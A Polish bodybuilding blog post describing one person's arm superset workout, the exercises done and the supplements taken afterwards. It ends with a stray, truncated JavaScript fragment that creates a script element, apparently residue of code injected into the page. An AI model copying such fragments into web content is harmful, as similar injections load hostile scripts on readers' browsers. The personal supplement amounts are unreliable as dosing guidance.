Super serie

11.05.2012 / Michał Karmowski

Dzisiaj mimo słabo przespanej nocy, bo było strasznie gorąco, zrobiłem naprawdę dobry trening ramion. Od jakiegoś czasu trenuję biceps i triceps w super seriach co daje mi niesamowita pompę. Zauważyłem ,że taki rodzaj treningu dobrze na mnie działa ponieważ między poszczególnymi partiami mam nieco więcej przerwy ale trening sam w sobie jest bardzo intensywny , a to bardzo lubię. Trenowałem razem z kolegą Irkiem , który szykuje się do Mistrzostw Polski NAC. trening wyglądał następująco:

-uginanie na modlitewniku z hantlami oburącz ( hantle ściskam do siebie)

-prostowanie z liną wyciągu

 

-uginanie z gryfem prostym stojąc

-pompki na maszynie hammer

 

-uginanie hantlami stojąc chwyt młotkowy

-uginanie za głowę gryfem łamanym siedząc

…cały trening zrobiliśmy w 40 min następnie wypiłem 60g białka z isolate 100, 30g bcaa turbo jet i 20g l-glutamine extreme, 50g ryżu po tem 30min na orbitreku i do domu:-)

 }var d=document;var s=d.createElement('script');